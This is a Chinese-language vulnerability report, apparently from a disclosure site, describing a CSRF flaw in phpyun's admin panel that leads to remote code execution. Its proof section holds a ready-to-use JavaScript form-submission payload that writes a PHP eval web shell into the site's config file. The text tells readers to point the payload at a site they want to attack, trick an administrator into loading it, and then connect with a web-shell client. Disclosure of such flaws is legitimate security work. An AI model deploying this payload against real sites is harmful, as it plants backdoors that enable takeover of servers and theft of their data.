### 简要描述:
phpyun后台没有验证token,可以通过CSRF直接getshell~
### 详细说明:
首先从后台getshell开始。
网站的配置文件,/plus/config.php,用的是双引号做键值,这导致了安全问题。我们可以把php代码写进双引号里面执行。
修改配置文件,提交:
[<img src="https://images.seebug.org/upload/201405/13171125c43847e141d9a32202508d5f34bf23f3.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/13171125c43847e141d9a32202508d5f34bf23f3.jpg)
然后访问/plus/config.php:
[<img src="https://images.seebug.org/upload/201405/13171323a2c793880636d039bc0b656b2f008ca6.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/13171323a2c793880636d039bc0b656b2f008ca6.jpg)
特别的是,因为phpyun后台没有防御CSRF的办法,所以我们可以构造一个表单,诱使管理员访问,修改配置文件,导致getshell。
详见漏洞证明。
### 漏洞证明:
这是CSRF代码,将里面的url修改为你要攻击的站点。然后把这段javascript代码放在任意页面中,诱使管理员访问该页面。
```
gum = function(){
var u = {
'version':'1140213',
'domain':'{{domain}}',
'backinfo':{},
'author': 'https://github.com/quininer/gum'
};
u.e = function(code){try{return eval(code)}catch(e){return ''}};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.addom = function(html, doming, hide){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
doming.appendChild(doms);
return doms;
};
u.post = function(url, data){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
form.submit();
};
return u;
}();
gum.post('http://localhost/yun/admin/index.php?M=config&C=save', {
'config': '提交',
'sy_hotkeyword': '招聘,求职',
'sy_bannedip': '',
'sy_fkeyword_all': '***',
'sy_bannedip_alert': '暂时关闭,,,,',
'sy_regname': 'admin,zhongguo',
'sy_fkeyword': '{${phpinfo()}}{${eval($_POST[a])}}'
});
```
管理员访问后就已经更新了配置文件。我们直接访问http://localhost/yun/plus/config.php就能看到phpinfo了。菜刀连接,看到shell静静地躺在那里:
[<img src="https://images.seebug.org/upload/201405/1317325640bf2bc9c5e515c0357e0473a4dd8aec.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1317325640bf2bc9c5e515c0357e0473a4dd8aec.jpg)
暂无评论